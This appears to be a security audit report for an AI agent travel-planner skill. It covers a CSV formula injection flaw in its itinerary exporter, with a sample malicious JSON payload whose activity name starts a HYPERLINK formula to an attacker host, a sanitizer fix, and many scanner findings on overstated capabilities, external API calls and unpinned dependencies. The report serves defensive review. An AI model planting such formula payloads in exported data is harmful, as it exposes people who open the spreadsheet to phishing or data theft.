Back to skill

Security audit

Travel Planner

Security checks for vulnerabilities and agentic risk

Overview

The skill appears to be a travel helper, but its package overstates major capabilities and includes a CSV export weakness users should review before installing.

Review this skill before installing if you need reliable travel planning. It is best treated as a small collection of basic local travel utilities, not as a complete hotel, flight, train, or route comparison assistant. Do not export untrusted itinerary JSON to CSV and open it in spreadsheet software unless the CSV fields are sanitized first. Expect outbound calls to public weather and exchange-rate APIs, and prefer pinned dependencies for reproducible installation.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/itinerary_exporter.py:40
Finding

CSV Formula Injection in Itinerary Export

Content
View full analysis

Vulnerability Details

File Location: scripts/itinerary_exporter.py, lines 40-54; untrusted JSON is loaded at lines 67-68
Vulnerability Type: CSV formula injection
Risk Level: Medium

Vulnerable Code

python
with open(output_path, 'w', newline='', encoding='utf-8') as f:
    writer = csv.writer(f)
    writer.writerow(['Day', 'Date', 'Time', 'Activity', 'Type', 'Duration', 'Cost', 'Rating'])
    
    for day in itinerary.get('itinerary', []):
        for activity in day['activities']:
            writer.writerow([
                day['day'],
                day['date'],
                activity['time'],
                activity['name'],
                activity['type'],
                activity.get('duration', ''),
                activity.get('cost', ''),
                activity.get('rating', ''),
            ])

The data source is an arbitrary JSON file:

python
with open(args.input, 'r', encoding='utf-8') as f:
    itinerary = json.load(f)

Technical Analysis

The exporter writes fields from an externally supplied itinerary directly into CSV cells without neutralizing spreadsheet formula prefixes. Python's csv.writer correctly quotes CSV syntax, but quoting does not prevent spreadsheet applications from interpreting cell contents as formulas.

Attacker-controlled fields such as activity['name'], activity['type'], activity['time'], and related values can begin with formula-triggering characters such as =, +, -, or @. Tabs and carriage returns may also be treated as dangerous prefixes by some spreadsheet applications.

For example, a malicious itinerary could contain:

json
{
  "destination": "Example",
  "days": 1,
  "total_estimated_cost": 0,
  "itinerary": [
    {
      "day": 1,
      "date": "2026-09-16",
      "activities": [
        {
          "time": "09:00",
          "name": "=HYPERLINK(\"https://attacker.
...[truncated 1931 chars]
Remediation
View remediation

Remediation Suggestions

  1. Sanitize every untrusted value before passing it to writer.writerow. After accounting for leading whitespace and control characters, neutralize values beginning with =, +, -, or @.
  2. Prefix dangerous values with an apostrophe so spreadsheet applications treat them as text. Apply this consistently to all string-capable columns, not only activity names.
  3. Reject or remove leading tab, carriage-return, newline, and other control characters that can bypass simple first-character checks.
  4. Validate the imported JSON against a strict schema, including expected types, maximum lengths, required fields, and allowed formats.
  5. Document that imported itinerary files are untrusted and warn users before exporting externally supplied content to spreadsheet-compatible formats.
  6. Add regression tests covering formula prefixes, leading whitespace, tabs, carriage returns, and nested attacker-controlled fields.

Example hardening approach:

python
DANGEROUS_CSV_PREFIXES = ('=', '+', '-', '@', '\t', '\r', '\n')

def sanitize_csv_cell(value):
    if not isinstance(value, str):
        return value

    if value.startswith(DANGEROUS_CSV_PREFIXES):
        return "'" + value

    stripped = value.lstrip(' \t\r\n')
    if stripped.startswith(DANGEROUS_CSV_PREFIXES):
        return "'" + value

    return value

Apply sanitize_csv_cell to every value written to a CSV row. If preserving exact values is unnecessary, a stricter allowlist-based validation policy is preferable.

Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (28)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The declared purpose describes a broad travel planning assistant with multiple end-user planning and recommendation features. The supplied code chunk instead has a narrow file-conversion/export role: it loads an existing itinerary from JSON and writes it to text or CSV. This is materially different from the declared primary purpose and omits most of the advertised functionality. While itinerary export could be related to travel planning, it is not represented in the description, and the code does not perform the main planning, recommendation, booking-comparison, route-query, or packing-list tasks that were declared.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

代码的核心功能与“行程规划、景点推荐、基础预算估算”基本一致,但声明描述明显更宽,包含多项该代码并未实现的能力。代码没有任何交通路线/航班/火车查询逻辑,没有酒店价格比较或住宿检索,没有packing清单生成,也没有真正的预算管理机制;它只是在每日行程中累加景点与固定餐饮费用形成简单总价。代码还依赖静态内置数据,不访问外部旅行、交通或酒店资源。因此描述未准确代表此代码块的实际行为,存在能力夸大型不匹配。

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

该代码与声明描述不一致。声明描述的是一个综合旅行规划助手,重点能力包括行程、预算、景点、交通、酒店和打包清单;但提供的代码仅执行天气预报查询,这既是未在描述中明确列出的能力,也无法支持声明中的大部分核心功能。虽然天气信息可作为旅行规划的辅助信息,但此代码片段的实际主功能与声明的主功能存在明显偏差,因此应判定为 mismatch。

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding

The skill advertises and documents scripts that read and write local files and likely call external APIs, but it does not declare any tool scope such as permissions or allowed-tools. This creates an authorization gap where the runtime may grant broader capabilities than users or reviewers expect, increasing the risk of unintended file access or network use.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The manifest description says to use the skill whenever a user needs trip planning, destination recommendations, budget calculation, transport lookup, packing lists, or hotel comparison. These are broad everyday travel-assistance requests, and the file does not provide exclusion conditions or negative examples clarifying when the skill should not activate.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
76% confidence
Finding

The natural-language description and headings present the skill primarily in Chinese, including the user-facing description string, without stating that users may choose another language. Under the policy, forcing a specific language without opt-in can be a locale/language policy violation unless clearly justified.

Content

No source excerpt is available for this finding.

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The manifest describes itinerary planning, budget management, destination/sightseeing recommendations, transportation queries, hotel price comparison, and packing-list generation. This script implements a standalone real-time currency conversion tool, which is not mentioned in the manifest description even though it may be travel-adjacent.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
71% confidence
Finding

The script sends user-selected currency input to a third-party API, creating external data transmission and a dependency on an unaudited remote service. While the transmitted data is low sensitivity in this travel context, use of a hardcoded external endpoint can expose usage metadata, enable tracking, and create integrity/reliability risks if the service is unavailable or returns manipulated data.

Content

Scanner excerpt · scripts/currency_converter.py (reported line 16)May include surrounding context.

python
def get_exchange_rate(from_currency: str, to_currency: str):
    """Get exchange rate using exchangerate-api.com (free tier)"""
    try:
        url = f"https://api.exchangerate-api.com/v4/latest/{from_currency.upper()}"
        with urllib.request.urlopen(url, timeout=10) as response:
            data = json.loads(response.read().decode())
            rate = data['rates'].get(to_currency.upper())

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

This code presents user-facing content in Chinese, beginning with the module description and continuing throughout the generated packing-list categories and tips. Because the skill does not offer user opt-in for language selection or document that it is intentionally region-specific, it violates the language/locale policy criteria.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The script hard-codes Chinese natural-language content throughout, including the module description, destination names, activity labels such as '午餐' and '晚餐', and the interests example. There is no option for the user to choose a language or locale, which is a natural-language policy concern when the skill is not clearly documented as region-specific.

Content

No source excerpt is available for this finding.

External Transmission

Medium
Category
Data Exfiltration
Confidence
60% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · scripts/weather_forecast.py (reported line 38)May include surrounding context.

python
lat, lon = coords
    
    try:
        url = (f"https://api.open-meteo.com/v1/forecast?"
               f"latitude={lat}&longitude={lon}&daily=temperature_2m_max,temperature_2m_min,"
               f"precipitation_sum,weathercode&timezone=auto&forecast_days={days}")

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
78% confidence
Finding

This markdown file mixes English destination names with Chinese names in parentheses for some entries, but not others. That imposes a partial language/localization choice in the content without documenting user opt-in or a justified locale requirement.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
96% confidence
Finding

The dependency is specified with a lower-bound range rather than an exact, audited version, which makes builds non-reproducible and can pull in different releases over time. In a travel-planner skill that may make outbound HTTP requests, this increases supply-chain risk and complicates confirming whether known requests vulnerabilities are present or fixed.

Content

Scanner excerpt · requirements.txt (reported line 1)May include surrounding context.

text
requests>=2.31.0
geopy>=2.4.0
python-dateutil>=2.8.0
jinja2>=3.1.0

Unverifiable Dependency: requests has 16 known advisory(ies) (CVE-2014-1830 (Exposure of Sensitive Information to an Unauthorized Actor in Requests); CVE-2024-47081 (Requests vulnerable to .netrc credentials leak via malicious URLs); CVE-2024-35195 (Requests `Session` object does not verify requests after making first request wi) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
95% confidence
Finding

Requests has multiple known advisories, but because the manifest does not pin an exact version, it is impossible to verify whether deployment uses a vulnerable or fixed release. Given this skill likely performs external travel-related HTTP requests, a vulnerable requests version could affect credential handling, TLS verification behavior, or request security.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
93% confidence
Finding

Using geopy with only a minimum version allows unreviewed newer releases to be installed, reducing reproducibility and weakening supply-chain control. While no specific advisory is cited here, the lack of pinning is still a dependency hygiene weakness.

Content

Scanner excerpt · requirements.txt (reported line 2)May include surrounding context.

text
requests>=2.31.0
geopy>=2.4.0
python-dateutil>=2.8.0
jinja2>=3.1.0
pandas>=2.0.0

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
92% confidence
Finding

A non-pinned python-dateutil dependency permits version drift between environments, which can introduce untested behavior or vulnerable transitive resolutions. This is a supply-chain exposure rather than an immediately exploitable code flaw.

Content

Scanner excerpt · requirements.txt (reported line 3)May include surrounding context.

text
requests>=2.31.0
geopy>=2.4.0
python-dateutil>=2.8.0
jinja2>=3.1.0
pandas>=2.0.0
openpyxl>=3.1.0

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
97% confidence
Finding

Jinja2 is commonly used in templating paths that can become security-sensitive if user input is ever rendered unsafely, and leaving it unpinned makes it unclear which security fixes are actually installed. In this skill context, itinerary or report generation could plausibly involve templating, so lack of pinning increases risk more than for a purely passive library.

Content

Scanner excerpt · requirements.txt (reported line 4)May include surrounding context.

text
requests>=2.31.0
geopy>=2.4.0
python-dateutil>=2.8.0
jinja2>=3.1.0
pandas>=2.0.0
openpyxl>=3.1.0

Unverifiable Dependency: jinja2 has 16 known advisory(ies) (CVE-2019-10906 (Jinja2 sandbox escape via string formatting); CVE-2014-1402 (Incorrect Privilege Assignment in Jinja2); CVE-2025-27516 (Jinja2 vulnerable to sandbox breakout through attr filter selecting format metho) +13 more), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
97% confidence
Finding

Jinja2 has a history of sandbox and template-related security issues, and without a pinned version there is no way to confirm that patched releases are installed. Because a travel-planner may generate formatted itineraries or reports, templating could be part of normal operation, making an unknowable Jinja2 version more concerning.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
94% confidence
Finding

Specifying pandas with only a minimum version creates non-deterministic installations and makes it difficult to verify exposure to disclosed issues. For a travel-planner skill, pandas is likely used for tabular data handling, so the main concern is dependency governance rather than direct exploitation from this file alone.

Content

Scanner excerpt · requirements.txt (reported line 5)May include surrounding context.

text
geopy>=2.4.0
python-dateutil>=2.8.0
jinja2>=3.1.0
pandas>=2.0.0
openpyxl>=3.1.0

Unverifiable Dependency: pandas has 1 known advisory(ies) (CVE-2020-13091 (** DISPUTED ** pandas through 1.0.3 can unserialize and execute commands from an)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
84% confidence
Finding

Pandas has at least one cited advisory, and the absence of version pinning prevents verification of whether the installed release is affected. In this context the risk is limited by the file alone, but it still represents uncertainty around dependency safety.

Content

No source excerpt is available for this finding.

Unpinned Dependencies

Low
Category
Supply Chain
Confidence
95% confidence
Finding

Openpyxl processes spreadsheet files, and historically spreadsheet/XML parsers have had security issues; leaving the package unpinned obscures whether vulnerable versions may be installed. In this skill context, budget exports or itinerary spreadsheets make this dependency more security-relevant than a generic utility package.

Content

Scanner excerpt · requirements.txt (reported line 6)May include surrounding context.

text
python-dateutil>=2.8.0
jinja2>=3.1.0
pandas>=2.0.0
openpyxl>=3.1.0

Unverifiable Dependency: openpyxl has 2 known advisory(ies) (CVE-2017-5992 (Improper Restriction of XML External Entity Reference in Openpyxl); CVE-2017-5992 (Openpyxl 2.4.1 resolves external entities by default, which allows remote attack)), but the manifest does not pin a version, so it is unknown whether the installed release is affected

Low
Category
Supply Chain
Confidence
96% confidence
Finding

Openpyxl has known XML-related advisories, and without exact version pinning the deployment may inadvertently include an affected build. Since a travel-planner may import or export spreadsheets for budgets or plans, this dependency is plausibly exposed to attacker-controlled files, increasing practical risk.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

The module description is written in Chinese, and the supported destination keys are also Chinese-language names, which effectively constrains use to a specific language. There is no visible user opt-in or alternative locale handling, so this appears to impose a language preference without choice.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
90% confidence
Finding

The module docstring describes the tool in Chinese only ("实时汇率转换工具"). This creates a locale/language constraint in natural-language content without any user opt-in or documented reason that the skill is region-specific.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
92% confidence
Finding

This code file contains user-facing text in both Chinese and English, including the module description and exported itinerary labels in Chinese while status messages are in English. Because the skill does not offer a language or locale choice, it may violate a language/locale policy requiring user opt-in rather than forcing a specific language.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.